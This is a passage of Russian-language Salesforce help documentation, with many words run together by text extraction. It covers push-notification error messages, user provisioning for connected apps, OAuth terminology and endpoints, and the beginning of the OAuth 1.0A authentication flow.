Сообщения об ошибках для всплывающих уведомлений

Приотображениисообщенияобошибкепослеотправкивсплывающегоуведомлениясостраницы «Отправитьтестовое
уведомление» рекомендуем использовать таблицу ниже.

Предлагаемое решениеСообщение

Решение отсутствует.Превышеноежедневноеограничениепочастотеотправки
всплывающих уведомлений для данного связанного
приложения.

Выберите сертификат допустимого типа.Сертификат не принимается службой всплывающих
уведомлений Apple.

Выберите действительный сертификат.Сертификат отозван.
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Предлагаемое решениеСообщение

Продлите срок действия сертификата.Срок действия сертификата истек.

Повторите попытку позже.Сертификат пока недействителен.

Выберите сертификат допустимого типа.Недопустимый сертификат или пароль.

Проверьте введенные данные на наличие ошибок.Недопустимый получатель или полезные данные.

Сократите размер полезных данных.Размер полезных данных превышает максимально
допустимый.

Подтвердитеналичиепараметровсвязанногоприложения.Не удается загрузить параметры всплывающих
уведомлений.

Введите действительный маркер устройства.Поле получателя содержит недопустимый маркер
устройства.

Введенный маркер поврежден или является неверным.
Введите маркер повторно.

Недопустимая длина маркера устройства.

Подтвердите правильность используемого сертификата
(например, безопасная среда и производственная среда).

Ошибкаотправкиуведомления. Подтвердитесоответствие
сертификата среде Apple.

Повторите попытку позже.Служба всплывающих уведомлений Apple недоступна.

Повторите попытку позже.Не удается подключиться к службе всплывающих
уведомлений Apple.

Повторите попытку позже.Не удается подключиться к прокси-серверу Salesforce. При
повторном возникновении данной ошибки обратитесь в
службу поддержки Salesforce.

Повторите попытку позже.Запрос заблокирован прокси-сервером Salesforce. При
повторном возникновении данной ошибки обратитесь в
службу поддержки Salesforce.

Обратитесь в компанию Apple или повторите попытку
позже.

При использовании службы всплывающих уведомлений
Apple произошла неизвестная ошибка.

Введите значение эмблемы повторно в виде целого числа.В качестве эмблемы должно быть указано число.

Выполнитеправильноеформатированиеполезныхданных.Полезные данные должны использовать допустимый
формат JSON.

Введите допустимое значение для одного из полей.Введите значение как минимум одного из следующих
полей: «Предупреждение», «Эмблема», «Звук» или
«Настраиваемые полезные данные».

Введите маркер устройства.Требуется получатель.

Просмотрите документацию GCM на веб-сайте
developer.android.com. Возможные причины:

Ошибка проверки подлинности Google Cloud Messaging.

• Заголовок авторизации отсутствует или содержит
недопустимый синтаксис.
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Предлагаемое решениеСообщение

• Ключ использует недопустимый номер проекта.

• Ключявляетсядопустимым, нослужба GCM отключена.

• Запрос отправлен сервером, который отсутствует в
списке разрешенных IP-адресов ключа сервера.

Повторите попытку позже.Внутренняя ошибка сервера Google Cloud Messaging или
сервер временно недоступен.

Проверьте допустимость кода регистрации,
предоставленного мобильным приложением, или введите
допустимый код регистрации вручную.

Поле получателя содержит неправильно
отформатированный код регистрации.

Сократите размер полезных данных.Размер полезных данных превышает максимально
допустимый.

Введите правильный ключ сервера для приложения.Поле получателя содержит код регистрации, являющийся
недопустимым для API-ключа сервера связанного
приложения.

Выберите получателя или введите код регистрации.Требуется получатель.

Обновите код регистрации устройства получателя.Полеполучателясодержитнедопустимыйкодрегистрации.

Обратитесь в компанию salesforce.com.При использовании сервера GCM произошла
непредвиденная ошибка. Обратитесь в службу поддержки
SFDC.

Обратитесь в компанию salesforce.com.Произошланепредвиденнаяошибка. Обратитесь в службу
поддержки SFDC.

СМ. ТАКЖЕ:

Создание связанного приложения

Тестирование всплывающих уведомлений
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Инициализация пользователя для связанных приложений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Создание связанных
приложений доступно в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Установка связанных
приложений доступна в
версиях: все версии.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для чтения:

«Настройка приложения» И

«Изменение всех данных» ИЛИ «Управление
связанными приложениями»

Для создания, обновления или удаления:

«Настройка приложения»Для обновления всех полей, кроме
профилей, наборов полномочий и
атрибутов SAML поставщика услуг:

«Настройка приложения» И «Изменение
всех данных»

Для обновления профилей, наборов
полномочий и атрибутов SAML поставщика
услуг:

«Загрузка пакетов AppExchange»Для удаления:

Рекомендуемадминистраторамиспользоватьсвязанныеприложения, поддерживающие
инициализацию пользователя, для создания, обновления и удаления учетных записей в сторонних приложениях на
основе пользователей организации Salesforce. При необходимости настройте автоматические процессы создания,
обновления и деактивации учетных записей пользователей Salesforce для внешних служб (например, Google Apps и Box).
При необходимости найдите текущие учетные записи в сторонней системе и определите наличие их связи с учетной
записью Salesforce.

Связанныеприложениясвязываютпользователейсостороннимислужбамииприложениями. Инициализацияпользователя
для связанныхприложенийпозволяет создавать, обновлятьи управлять учетнымизаписямиданныхслужбиприложений.
Данная функция упрощает процесс создания учетных записей для внешних служб (например, Google Apps) и связывает
учетные записипользователей Salesforce со сторонними учетными записями. После связывания данных учетных записей
рекомендуемнастроитьсредство запускаприложений, позволяющеепользователямвыбирать значокнужногосвязанного
приложения и получать мгновенный доступ к целевой службе.

Инициализация применяется только к пользователям, которые назначены профилю или набору полномочий,
предоставляющемудоступкнастроенномусвязанномуприложению. Например, настройтеинициализациюпользователя
для связанного приложения Google Apps в организации. Затем назначьте данному связанному приложению профиль
«Сотрудники». При создании пользователя организации и назначении профиля «Сотрудники» система выполняет его
автоматическую инициализацию в Google Apps. Кроме того, при деактивации пользователя или изменении профиля
система выполняет его автоматическую деинициализацию из Google Apps.

Система Salesforceподдерживаетмастер, позволяющийнастраиватьпараметрыинициализациипользователядля каждого
связанного приложения.

Атакже, системапозволяет запускатьотчетыдляопределенияпользователей, имеющихдоступк конкретнымсторонним
приложениям, и централизованного просмотра всех учетных записей всех связанных приложений.

Запросы на инициализацию пользователя

Посленастройкифункцииинициализациисистема Salesforce управляет запросаминаобновлениедля стороннейсистемы.
Система Salesforce отправляет запросы на инициализацию пользователя сторонней системе на основе конкретных
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событийорганизации — посредствомпользовательскогоинтерфейсаиливызовов API. Таблицанижесодержитсобытия,
инициирующие запросы на инициализацию пользователя.

ОбъектОперацияСобытие

ПользовательСозданиеСоздание пользователя

ПользовательОбновлениеОбновление пользователя (для
выбранных атрибутов)

ПользовательДеактивацияВыключение пользователя

ПользовательАктивацияВключение пользователя

UserLoginЗаморозкаЗаморозка пользователя

UserLoginРазморозкаРазморозка пользователя

ПользовательПовторная активацияПовторная активация пользователя

ПользовательСоздание/деактивацияИзменение профиля пользователя

PermissionSetAssignmentСоздание/деактивацияНазначение/отменаназначениянабора
полномочий пользователю

SetupEntityAccessСоздание/деактивацияНазначение/отмена назначения
профиля связанному приложению

SetupEntityAccessСоздание/деактивацияНазначение/отменаназначениянабора
полномочийсвязанномуприложению

Значениеоперациихранитсявобъекте UserProvisioningRequest. СистемаSalesforceможетобработатьзапроснезамедлительно
илидождаться завершенияпроцесса утверждения (придобавлениипроцесса утвержденияво время выполнениядействий
мастераинициализациипользователя). Чтобыобработать запрос, система Salesforceиспользуетпоток типа «Инициализация
пользователя», содержащий ссылку на класс Apex по имени UserProvisioningPlugin. Поток вызывает API сторонней службы
для управления процессом инициализации учетных записей пользователей в данной системе.

Чтобыотправить запросынаинициализациюпользователянаоснове событийв Active Directory, воспользуйтесь Salesforce
Identity Connect длясбораданныхсобытийиихсинхронизациисорганизациейSalesforce. ЗатемсистемаSalesforceотправляет
запросынаинициализациюпользователястороннейсистемедляинициализацииилидеинициализациипользователей.

Ограничения

Права
Организация Salesforce не поддерживает хранение или управление ролями и полномочиями для поставщика услуг.
Именно поэтому, при отправке запроса на доступ к стороннему приложению, поддерживающему инициализацию
пользователя, могут отсутствовать определенные права на ресурсы поставщика услуг. Несмотря на возможность
создания учетной записи пользователя для поставщика услуг, управление любыми дополнительными ролями или
полномочиями для данной учетной записи должно выполняться посредством поставщика услуг.

Запланированное согласование учетных записей
Рекомендуем запускатьмастеринициализациипользователяприкаждомсбореи анализепользователейв сторонней
системе. Интервал автоматического сбора и анализа не может быть изменен.
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Повторная сертификация доступа
После создания учетной записи пользователя рекомендуем проверять доступ пользователя к ресурсам поставщика
услуг на стороне поставщика услуг.

СМ. ТАКЖЕ:

Настройка инициализации пользователя для связанных приложений

Создание настраиваемых отчетов по инициализации пользователя для связанных приложений

Общие сведения о связанных приложениях

Настройка инициализации пользователя для связанных приложений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Создание связанных
приложений доступно в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Установка связанных
приложений доступна в
версиях: все версии.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для чтения:

«Настройка приложения» И

«Изменение всех данных» ИЛИ «Управление
связанными приложениями»

Для создания, обновления или удаления:

«Настройка приложения»Для обновления всех полей, кроме
профилей, наборов полномочий и
атрибутов SAML поставщика услуг:

«Настройка приложения» И «Изменение
всех данных»

Для обновления профилей, наборов
полномочий и атрибутов SAML поставщика
услуг:

«Загрузка пакетов AppExchange»Для удаления:

Настройте связанное приложение для экономии времени на инициализации
пользователей.

Система Salesforceподдерживаетпошаговыймастер, позволяющийнастраиватьпараметрыинициализациипользователя
для каждого связанного приложения.

Прежде чем использовать мастер, выполните подготовительные действия.

Связанное приложение для сторонней службы
Любое связанное приложение может поддерживать инициализацию пользователя, включая связанное приложение
типа «закладка».

Именованные регистрационные данные
Именованные регистрационные данные определяют стороннюю систему и ее параметры проверки подлинности.
Вызовы к сторонней системе (например, создание, редактирование или удаление учетных записей) используют
параметры сторонней проверки подлинности в именованных регистрационных данных. Именованные
регистрационные данные требуют заполнения поля «Названный субъект» учетной записью сторонней системы или
авторизацией OAuth для текущего поставщика проверки подлинности. Именованные регистрационные данные
запрашиваются мастером инициализации пользователя.
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Поток, созданный посредством приложения Flow Designer
Потоки передают запросы на инициализацию в стороннюю систему. Система Salesforce поддерживает несколько
пакетов, содержащих предварительно настроенные потоки для облегчения процесса настройки инициализации
пользователя (скоро появится!). Мастер инициализации пользователя позволяет связать один из данных потоков со
связанным приложением.

При необходимости пользователи могут создавать собственные потоки. Дополнительную информацию см. в
подразделе «Создание собственного потока инициализации пользователя».

Чтобызапуститьмастеринициализациипользователядля текущегосвязанногоприложения, выполнитеуказанныениже
действия.

1. Введитестроку «Связанные приложения» вполе «Быстрый поиск» вменю «Настройка» ивыберитепараметруправления
связанными приложениями.

2. Щелкните имя нужного связанного приложения.

3. Нажмите кнопку «Правка» на странице сведений о связанном приложении.

4. Установитефлажок«Включитьинициализациюпользователя»вразделе «Параметрыинициализациипользователя».

5. Нажмите кнопку «Сохранить».

Посленажатиякнопки «Сохранить» система Salesforceоткрывает страницусведенийосвязанномприложении. Чтобы
перейти на страницу сведений о связанных приложениях из меню «Настройка», введите «Связанные приложения» в
поле «Быстрый поиск», затем выберите параметр управления связанными приложениями. Щелкните имя нужного
связанного приложения.

6. Чтобы запустить мастер, щелкните «Запустить мастер инициализации пользователя» в разделе «Параметры
инициализации пользователя».

После закрытиямастера откройте страницу сведенийо связанномприложениидля редактированияотдельных сведений
обучетнойзаписипользователясцельюбыстрогообновления. Введите строку «Связанные приложения» вполе «Быстрый
поиск» вменю «Настройка», выберитепараметруправлениясвязаннымиприложениямиивыберитенужноеприложение.
Каждый пользователь отображается в разделе «Учетные записи пользователей» страницы сведений о связанном
приложении. Илиперезапуститемастердлясбораианализаучетныхзаписейстороннейсистемы, измененияконфигурации
и обработки всех учетных записей.

Добавление процесса утверждения во время работы мастера инициализации пользователя инициирует выбор поля
«Процесс утверждения» на странице сведений.

Создание собственного потока инициализации пользователя

Если потоки пакета не поддерживают нужную стороннюю систему или требуется настройка решения, создайте
собственный поток. Воспользуйтесь классом Apex с именем UserProvisioningPlugin и стандартными объектами
UserProvisioningRequest и UserProvAccount. Присохранениисозданногопотока выберите тип «Инициализация пользователя».
Прежде чем создать собственный поток, просмотрите рекомендации по созданию потоков посредством приложения
Flow Designer и разработке триггеров Apex. Ниже перечислены обязательные компоненты потока.

• Триггер Apex, использующий класс UserProvisioningPlugin.

• Указанные ниже переменные ввода и вывода в потоке

– Ввод: User, UserProvisioningRequest, UserProvAccount

– Вывод: ExternalUserId, ExternalUsername, ExternalFirstName, ExternalLastName,
ExternalEmail, Details, Status

• Указанные ниже параметры ввода и вывода как минимум для одного модуля Apex в потоке
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Ввод: userProvisioningRequestId, userId, namedCredDevName, reconFilter, reconOffset–

– Вывод: ExternalUserId, ExternalUsername, ExternalFirstName, ExternalLastName,
ExternalEmail, Details, Status, reconState, nextReconOffset

• Элемент «Поиск записи» по имени «Поиск пользователя» для изменения при связывании учетных записей
пользователей Salesforce и пользователей сторонней системы.

СМ. ТАКЖЕ:

Инициализация пользователя для связанных приложений

Создание связанного приложения

Определение именованных регистрационных данных

Облачная версия приложения Flow Designer

Создание правил общего доступа к запросу на инициализацию пользователя

Руководство разработчика Apex

Создание настраиваемых отчетов по инициализации пользователя для связанных приложений

Управление запросами на инициализацию пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Создание связанных
приложений доступно в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Установка связанных
приложений доступна в
версиях: все версии.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для чтения:

«Настройка приложения» И

«Изменение всех данных» ИЛИ «Управление
связанными приложениями»

Для создания, обновления или удаления:

«Настройка приложения»Для обновления всех полей, кроме
профилей, наборов полномочий и
атрибутов SAML поставщика услуг:

«Настройка приложения» И «Изменение
всех данных»

Для обновления профилей, наборов
полномочий и атрибутов SAML поставщика
услуг:

«Загрузка пакетов AppExchange»Для удаления:

После настройки функции инициализации для связанного приложения система
позволяет управлять параметрами и утверждениями для инициализации, деинициализации или обновления отдельных
учетных записей.

Ниже перечислены компоненты для управления отдельными запросами и учетными записями.

Вкладка «Запросы на инициализацию пользователя»

Вкладка «Запросына инициализациюпользователя» позволяет просматривать сведения и управлять утверждениямидля
отдельных запросов на инициализацию пользователя. Сведения о запросе на инициализацию пользователя содержат
статус запроса и статус утверждения (при необходимости и настройке).
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Чтобыпросмотреть сведения, включаяинформациюниже, щелкнитеимянужногонедавнего запросанаинициализацию
пользователя.

Операция
Действие для текущего запроса. Ниже перечислены возможные значения.

• Создание

• Чтение

• Обновление

• Деактивация

• Активация

• Заморозка

• Разморозка

• Согласование  (сравнение учетной записи Salesforce с учетной записью сторонней системы)

• Связывание  (изменение текущего состояния связи)

Состояние
Значение параметра «Состояние» меняется во время процесса согласования для сбора и сравнения учетных записей
сторонней системы с учетными записями Salesforce. Как правило, параметру «Состояние» созданного запроса на
инициализацию пользователя задается значение «Новое». При запуске процесса сбора параметру «Состояние»
задается значение «Сбор», которое сохраняется до завершения данного процесса. После завершения процесса
параметру «Состояние» задается значение «Собрано».

Призапускепроцессаанализапараметру «Состояние» задаетсязначение «Анализ», котороесохраняетсядозавершения
данного процесса. После завершения процесса параметру «Состояние» задается значение «Проанализировано».
Призапускепроцессаподтвержденияпараметру «Состояние» задается значение «Подтверждение», а системаSalesforce
обновляет свойства учетных записей. После завершения данного процесса обновления параметру «Состояние»
задается значение «Завершено».

Тем не менее, первое значение параметра «Состояние» может быть другим (не значение «Новое»). Если некоторый
настраиваемый процесс инициирует запрос на согласование учетных записей, то первым значением параметра
«Состояние» может быть значение «Анализ».

Кроме того, параметру «Состояние» не могут задаваться предыдущие значения. Например, значение «Анализ»
параметра «Состояние» должнозаменяться значением «Проанализировано», кромеслучаевнеудачноговыполнения
активного процесса, когда параметру «Состояние» задается значение «Сбой».

Чтобы просмотреть сведения об учетной записи пользователя, щелкните значение поля «Организация инициализации
пользователя». Нижеперечисленыполятипа «Раскрывающийсясписок», значениякоторыхопределяюттекущеесостояние
учетной записи.

Статус
Статус учетной записи в целевой системе. Ниже перечислены допустимые значения.

• Активно

• Деактивировано

• Удалено

Состояние связи
Состояние текущей связи между учетной записью в организации Salesforce и связанной учетной записью в целевой
системе. Ниже перечислены допустимые значения.
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• «связано»: измененияучетнойзаписиворганизацииSalesforceинициируютобновлениесвязаннойучетнойзаписи
в целевой системе.

• «повторяется»: наличие связанной учетной записи в целевой системе.

• «потеряно»: отсутствие связанной учетной записи в целевой системе.

• «пропущено»: изменения учетной записи в организации Salesforce не влияют на связанную учетную запись в
целевой системе.

Чтобыотредактироватьданные значения, воспользуйтесьразделом «Учетные записипользователей» страницысведений
о связанном приложении.

Раздел «Учетные записи пользователей» страницы сведений о связанном приложении

Раздел «Учетные записи пользователей» страницы сведений о связанном приложении содержит все учетные записи,
найденные и связанные со сторонней службой. Рекомендуем использовать данный раздел для управления состоянием
связи со сторонней учетной записью и редактирования сведений, хранящихся в конфигурации учетной записи.

Как правило, система Salesforce управляет состоянием связи с учетной записью сторонней службы. Система Salesforce
может находить и связывать учетные записи между организацией Salesforce и сторонней системой во время процесса
согласования. Связывание выполняется на основе атрибутов, выбранных в мастере инициализации пользователя.

Установите флажок «Разрешить мне управление связыванием учетной записи» только при необходимости
самостоятельного управления состоянием связи (вместо системы Salesforce).

Ниже перечислены возможные значения поля «Состояние связи».

Правила общего доступа к запросам на инициализацию пользователя

При добавлении процессов утверждения в конфигурацию инициализации пользователя рекомендуем задать правила
общего доступа, позволяющие другим пользователям или менеджерам просматривать и утверждать запросы на
инициализацию пользователя.

Введитестроку «Параметры общего доступа» вполе «Быстрый поиск» вменю «Настройка» ивыберитепункт«Параметры
общего доступа».

СМ. ТАКЖЕ:

Инициализация пользователя для связанных приложений

Настройка инициализации пользователя для связанных приложений

Создание правил общего доступа к запросу на инициализацию пользователя
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Создание настраиваемых отчетов по инициализации пользователя для связанных приложений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для удаления типов
настраиваемых отчетов:
• «Изменение всех

данных»

Организации, применяющиеинициализациюпользователядлясвязанныхприложений,
могут запускатьотчеты, возвращающиесведенияобинициализации, посредствомтипов
настраиваемых отчетов.

1. Просмотрите сведения о типах настраиваемых отчетов, а также основные этапы их
создания и использования.

2. Создайте типы настраиваемых отчетов на основе данных объектов и настройте их
при необходимости. Разрешите доступность всех полей для составления отчетов.
Добавьте каждый отчет в категорию типа отчета «Инициализация пользователя».
Введите имя и описание для каждого типа отчета.

ОписаниеОсновной объект

Данный объект содержит сведения,
которые связывают учетную запись
пользователя Salesforce с учетной
записью сторонней (целевой) системы
(например, Google) для пользователей
связанных приложений,
поддерживающих инициализацию
пользователя Salesforce.

Организации инициализации
пользователя

Данный объект содержит сообщения,
созданные во время процесса
инициализации пользователей для
сторонних приложений.

Журналыинициализациипользователя

Данный объект содержит
пользовательские данные, подлежащие

Целевые объекты прототипа
инициализации пользователя

тестированию перед отправкой данных
в стороннюю систему для
инициализации пользователя.

Данный объект содержит сведения об
отдельных запросах на инициализацию
для каждого пользователя.

Запросы на инициализацию
пользователя

СМ. ТАКЖЕ:

Инициализация пользователя для связанных приложений

Создание типа настраиваемого отчета
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Удаление связанного приложения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Создание связанных
приложений доступно в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Установка связанных
приложений доступна в
версиях: все версии.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для чтения:

«Настройка приложения» И

«Изменение всех данных» ИЛИ «Управление
связанными приложениями»

Для создания, обновления или удаления:

«Настройка приложения»Для обновления всех полей, кроме
профилей, наборов полномочий и
атрибутов SAML поставщика услуг:

«Настройка приложения» И «Изменение
всех данных»

Для обновления профилей, наборов
полномочий и атрибутов SAML поставщика
услуг:

«Загрузка пакетов AppExchange»Для удаления:

Чтобы удалить связанное приложение из организации, удалите пакет, содержащий
данное приложение.

Прим.: Удаление связанного приложения инициирует удаление маркеров доступа и обновления для всех
пользователей приложения. Данное действие позволяет предотвратить дальнейшее использование приложения
посредством текущего маркера доступа.

Терминология по связанным приложениям и протоколу OAuth

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

Маркер доступа
Значение, используемое клиентом для получения доступа к защищенным ресурсам
от имени пользователя, без указания регистрационных данных этого пользователя
в системе Salesforce.

Для OAuth 1.0.A: маркер доступа должен быть заменен кодом сеанса.

Для OAuth 2.0: маркер доступа является кодом сеанса, поэтому может использоваться
напрямую.

Код авторизации
Используется только в протоколе OAuth 2.0 с процессом веб-сервера.
Кратковременныймаркер для доступа, предоставленного конечнымпользователем.
Кодавторизациииспользуетсядляполучениямаркерадоступаимаркераобновления.
Для OAuth 1.0.A: см. определение «Маркер запроса».

URL-адрес обратного вызова
URL-адрес, связанныйсклиентскимприложением. Взависимостиотконтекста, данный
URL-адрес должен быть реальным и использоваться для перенаправления
веб-обозревателяклиента. Востальныхслучаях URL-адресфактическинеиспользуется;
однако клиентское приложение и сервер (определение связанного приложения)
должны использовать одинаковое значение. Например, значение, определяющее
приложение (http://MoyaKompaniya.MoePrilozhenie).
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Клиент
Веб-сайт или приложение, использующее протокол OAuth для проверки подлинности пользователя Salesforce и
приложения от имени этого пользователя.

Ключ пользователя
Значение, используемое клиентомдляидентификациив системе Salesforce. Впротоколе OAuth 2.0 данному значению
соответствует client_id.

Секрет пользователя
Секрет, используемый клиентом для определения принадлежности ключа пользователя. В протоколе OAuth 2.0
данному значению соответствует client_secret.

Случайное число
Число (обычно случайное), используемое при проверке подлинности и позволяющее избежать повторного
использования одного и того же запроса.

Маркер обновления
Используется только в OAuth 2.0. Маркер, используемый клиентом для получения нового маркера доступа (без
повторного подтверждения доступа конечным пользователем).

Маркер запроса
Значение, используемоеклиентомдляполученияправа доступаотпользователя. Это значениедолжнобыть заменено
маркером доступа. Маркеры запроса используются только в протоколе OAuth 1.0.A. Для протокола OAuth 2.0 см.
определение «Код авторизации».

Поставщик услуг
Веб-приложение, предоставляющеедоступ спомощьюпротокола OAuth. Послепредоставления удаленногодоступа
это веб-приложение является экземпляром Salesforce.

Секрет маркера
Секрет, используемыйклиентомдляопределенияпринадлежностиконкретногомаркера (например, маркера запроса
или маркера доступа).

Пользователь
Отдельное лицо, зарегистрированное в системе Salesforce.

СМ. ТАКЖЕ:

Проверка подлинности приложений посредством OAuth

5765

Интеграция приложений в SalesforceРасширение Salesforce посредством кода



Проверка подлинности приложений

Проверка подлинности приложений посредством OAuth

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

Пользователь, который отправляет запрос на доступ к данным Salesforce из внешнего
приложения (со страницыклиента), долженбытьпроверенсистемой Salesforce. Согласно
стандарту OAuth изадачам, поставленнымкомпаниейSalesforce, каждыйпроцесспроверки
подлинности должен состоять из нескольких этапов.

Система Salesforce поддерживает процессы проверки подлинности OAuth 1.0A и 2.0.

• OAuth 1.0.A: данная версия протокола OAuth подразумевает только один процесс.

• Веб-сервер OAuth 2.0: процесспроверкиподлинностивеб-сервераиспользуется теми
приложениями, которые размещены на защищенном сервере. Основная задача
данного процесса заключается в защите секрета пользователя на сервере. Во
избежание перехвата кода авторизации, рекомендуем также использовать запросы
кода и значения верификатора в потоке.

• Пользователь-агент OAuth 2.0: процесс проверки подлинности пользователя-агента
используется клиентскими приложениями (клиентами), установленными на
устройство пользователя. Данный процесс может быть реализован в обозревателе
спомощьюязыка сценариев (например, JavaScript), либовприложениидлярабочего
стола или мобильного устройства. Конфиденциальность секрета клиента не
гарантируется.

• Процесс проверки подлинности маркера обновления OAuth 2.0: клиент,
подтвердивший свои права доступа, может использовать маркер обновления для получения нового маркера доступа
(кода сеанса). Данный алгоритм выполняется только после получения клиентом маркера обновления посредством
процесса веб-сервера или пользователя-агента.

• Процесс проверки подлинности маркера носителя OAuth 2.0 JWT: процесс проверки подлинности маркера носителя
OAuth 2.0 JWT определяет способ использования JWT для отправки запроса на получение маркера доступа OAuth от
системы Salesforce в том случае, если клиент выбирает предыдущую авторизацию. Проверка подлинности
авторизованного приложения обеспечивается цифровой подписью, примененной к JWT.

• Процесс утверждения носителя OAuth 2.0 SAML: процесс утверждения носителя OAuth 2.0 SAML определяет способ
использованияутверждения SAML дляотправки запросанаполучениемаркера доступа OAuth в томслучае, есликлиент
выбираетпредыдущуюавторизацию. Проверкаподлинностиавторизованногоприложенияобеспечиваетсяцифровой
подписью, примененной к утверждению SAML.

• Процесс утверждения SAML: процесс утверждения SAML является альтернативой для тех организаций, которые
используют SAML для доступа к системе Salesforce и нуждаются в таком же доступе к Web Services API. Процесс
утверждения SAML можетиспользоваться тольковпределаходнойорганизации. Данныйпроцесс утвержденияможет
использоваться без связанного приложения.

• Имя пользователя и пароль OAuth 2.0: процесс проверки подлинности имени пользователя и пароля может
использоваться в том случае, если клиенту уже доступны регистрационные данные пользователя.

Внимание: Данныйпроцесспроверкиподлинности OAuth подразумевает взаимнуюпередачурегистрационных
данныхпользователя. Рекомендуемиспользоватьданныйпроцесс толькопринеобходимости. Данныйпроцесс
не поддерживает создание маркеров обновления.

Во всех процессах проверки подлинности: если пользователь, которому предложено авторизовать доступ, щелкает
ссылку, указывающую на то, что в настоящее время вход в систему не выполнен, то текущий пользователь выходит из
системы, а процесс проверки начинается заново — с проверки подлинности пользователя.
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Прим.: Приложение позволяет входить в систему Salesforce более одного раза (например, с портативного и
персонального компьютеров). По умолчанию каждому пользователю доступно пять авторизаций каждого
приложения. При превышении ограничения, установленного для организации, предоставление доступа к
приложению инициирует отмену наименее востребованного маркера доступа для данного приложения. Новые
приложения (по протоколу OAuth 2.0), использующие процесс веб-сервера, автоматически утверждаются для
дополнительныхустройствпослеединичногопредоставленияпользователемсоответствующегодоступа. Процесс
проверки подлинности пользователя-агента всегда требует утверждения со стороны пользователя.

Конечные точки OAuth 2.0

Ниже перечислены три основные конечные точки, используемые протоколом OAuth 2.0.

• Авторизация: https://login.salesforce.com/services/oauth2/authorize

• Маркер: https://login.salesforce.com/services/oauth2/token

• Отмена: https://login.salesforce.com/services/oauth2/revoke

Дополнительную информацию об отмене доступа см. в разделе «Отмена маркеров OAuth» на странице 5799.

При использовании безопасной среды компонент test.salesforce.com должен заменять компонент
login.salesforce.com.

Процесс проверки подлинности OAuth 1.0.A

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

Описание каждого этапа см. ниже. Протокол OAuth 1.0.A поддерживает только один
процесс проверки подлинности.

1. Клиент отправляет запрос на маркер RequestToken. Система Salesforce проверяет
запрос и возвращает маркер запроса.

2. Клиент перенаправляет пользователя в систему Salesforce.

3. Система Salesforce авторизует пользователя.

4. Еслипользователь авторизован, то клиентотправляет запроснамаркер AccessToken.

5. Система Salesforce проверяет запрос и предоставляет маркер.

6. С помощью маркера пользователь получает доступ к данным посредством
собственного приложения или Force.com Web Services API.

7. Система Salesforce проверяет запрос и предоставляет доступ к данным.

Теперь рассмотрим перечисленные выше этапы более подробно.

Совет: Чтобы использовать связанное приложение в безопасной среде, замените
компонент test.salesforce.com компонентом login.salesforce.com
в разделах ниже.

Коды возможных ошибок, возвращаемых системой Salesforce, указаны в разделе
«Коды ошибок OAuth 1.0.A» на странице 5771.

Запрос маркера RequestToken

Послеотправки запроса в систему Salesforce клиентполучаетмаркер RequestToken в томслучае, еслиотправленныйзапрос
является допустимым. Действия ниже содержат дополнительную информацию для разработчиков, использующих
связанное приложение для отправки запросов на доступ к данным Salesforce.

5767

Интеграция приложений в SalesforceРасширение Salesforce посредством кода



1. Клиентское приложение должно получить доступ к данным Salesforce и отправить запрос по следующему адресу:
https://login.salesforce.com/_nc_external/system/security/oauth/RequestTokenHandler.
Ниже приведена структура запроса.

• Допустимый запрос на маркер RequestToken, содержащий следующие параметры OAuth:

– oauth_consumer_key

– oauth_signature_method  (следует использовать HMAC-SHA1)

– oauth_signature

– oauth_timestamp

– oauth_nonce

– oauth_version  (необязательный параметр; следует использовать «1.0»)

– oauth_callback  (следует использовать одно из следующих значений:

• URL-адрес, принадлежащий клиенту (например,
https://www.appirio.com/sfdc_accounts/access_token_ready.html). Обратитевнимание,
что данный URL-адрес должен содержать https или другой протокол. Протокол http использоваться не
может.

• oob  (аббревиатура дляфразы out of band (механизм передачи данных вне логического канала связи между
клиентами)).

• Подпись на странице 5770, созданная в соответствии со спецификацией OAuth для HMAC-SHA1.

2. Ниже перечислены действия, выполняемые системой Salesforce после получения запроса.

• Сверяет запрос с собственной копией секрета клиента.

• Создает ответ, содержащий маркер RequestToken и секрет RequestTokenSecret в теле HTTP в качестве пары
«имя-значение».

• Отправляет ответ клиенту.

Маркер RequestToken действителен только в течение 15 минут, плюс еще три минуты ввиду возможного расхождения
по времени на системных часах компьютеров.

3. Клиент перенаправляет пользователя на страницу входа в систему Salesforce.

Авторизация пользователя

Преждечемперейтикдальнейшимдействиям, система Salesforceдолжнавыполнитьпроверкуподлинностипользователя.
Действиянижесодержатдополнительнуюинформациюопроцедуревходадляразработчиков, использующихсвязанное
приложение для отправки запросов на доступ к данным Salesforce.

1. Клиент перенаправляет пользователя на следующий адрес:
